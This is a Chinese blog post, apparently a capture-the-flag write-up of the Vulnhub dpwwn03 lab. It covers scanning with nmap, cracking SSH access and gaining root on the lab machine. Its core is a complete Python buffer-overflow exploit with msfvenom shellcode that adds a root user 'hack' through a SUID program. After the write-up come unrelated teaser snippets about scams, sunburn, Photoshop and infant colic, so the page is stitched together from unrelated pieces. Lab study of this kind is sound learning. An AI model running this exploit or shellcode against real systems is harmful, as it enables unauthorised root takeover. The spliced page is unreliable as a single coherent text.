最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规 *** 还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的提权方式:
1、内核漏洞
例如脏牛这类型的。
2、定时任务
3、suid提权
4、sudo配置错误
5、第三方组件
6、NFS提权
下面我们从头开始介绍dpwwn03这个靶场的渗透过程,以这个靶场为对象进行相关知识的研究。
因为是靶场,在配置好虚拟机的NAT连接方式后,需要发现靶机的ip,使用如下的命令:
arp-scan -l
nmap -sP 192.168.167.0/24
常用的命令有:
nmap -sS -sV -Pn -T4 -p- 192.168.167.189
nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189
下图是我对靶机的扫描结果:
这个靶机因为没有web端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。
从端口的扫描结果可以知道,该靶机渗透的重点就在22和161端口,我们一个一个来试试。
nmap通过脚本扫描已经列出了一堆,在用searchsploit看看;
没找到能合适用的exp,换下一个端口试试。
也没发现啥合适的漏洞。
后来找到了一款针对snmp协议的工具,使用了一下发现:
其他就没啥思路了。用这个john去试了试ssh登录,居然成功了,有点玄幻了。
连上ssh后,一上来肯定是要sudo的都试试;
在sudo -l中已经发现了线索,看下ss.sh;
到这里提权思路已经很明显了,suid提权的思想, *** ashthestack是以root的权限运行的,如果通过 *** ashthestack在运行其他程序,那其他程序也是以root的权限运行的,下面就来研究下 *** ashthestack这个程序。
这个程序可以在栈上执行代码,条件便利了很多。
这里栈溢出的难点在于找到溢出后shellcode的存放地址,以便覆盖返回地址后,能正确的将返回地址覆盖为shellcode的地址。(我是直接进到靶机里去调试的,当然,用edb、gdb调试甚至爆破都是可以的。)
这里用msfvenom生成自己所需要的shellcode:
这个shellcode的作用是添加一个root权限的用户hack。
完整的exp如下:
#!/usr/bin/python import sys, socket EIP="\xd1\xf2\xff\xbf" junk="A"*732 NOP="\x90" * 16 # msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f c payload=( "\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35" "\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d" "\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75" "\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f" "\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b" "\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63" "\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70" "\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62" "\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71" "\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f" "\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52" "\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34" "\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d" "\x50\x41\x41" ) buffer=junk + EIP + NOP + payload s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost",3210))? #s.connect(("192.168.167.138",3210))? 尝试远程溢出,但远端程序连接存在问题没有成功; s.send(buffer) s.close()
而后直接su hack就完成了提权。
大家还可以根据自己的需要,利用msfvenom生成各种payload进行测试,在这里就不再重复了。
靶机的渗透脑洞了一下,也学到了snmp这个平时我们很容易忽视的协议。关于提权,原理和思路都很清晰,溢出的 *** 也不难,就是程序的调试有点让人崩溃,需要自己去找到shellcode的存放位置,因为开了PIE,所以不同系统、不同机器启动后shellcode的位置都会发生变化。
编辑导读:网络骗术格式百出,尽量小心审慎,照旧有些人踩了坑。作为一名金融公司的产物司理,本文作者以一次金融骗财骗为例,阐明骗子的行骗套路,总结了一些防骗履历,与你分享。 老狗从13年开始从事金融行业...
本文目录一览: 1、苹果手机被黑客黑了id怎么办? 2、苹果手机遭黑客网站拉黑是何原因 3、苹果被黑客入侵的表现 苹果手机被黑客黑了id怎么办? ID锁目前是无法通过刷机以及还原系统等方法来...
夏日炎炎,在太阳底下暴晒时间长了容易晒伤皮肤,人会感到很强的灼热和疼痛感。这时一定要抓紧时间科学护理,以免耽误时间长了使皮肤损伤加重。那么皮肤晒伤了怎么办呢?下面,健康专家陈邦华老师教大家8个急救方法...
本文导读目录: 1、黑客帝国(尼奥之路)中文版游戏下载 2、《.hack 黑客链接》有汉化版的吗 3、黑客链接中文版 4、一键root好像不支持埃立特h9500的刷机,怎么办 5、黑客...
朋友们大家了解怎么用ps画扁平化设计割开的水煮鸡蛋呢?今日我很愿意与大伙儿共享ps画扁平化设计割开的水煮鸡蛋实例教程,很感兴趣的能够来掌握掌握哦。 朋友们大家了解怎么用ps画扁平化设计割开...
婴儿在不会说话时通常会用哭的方式来表达自己的需求,新手妈妈在公共场合是最害怕宝宝大哭不止的,很多时候往往会显得不知所措。宝宝哭闹不止仅仅是饿了吗?妈妈们一定要注意了或许是宝宝肠绞痛哦,宝宝肠绞痛会有哪...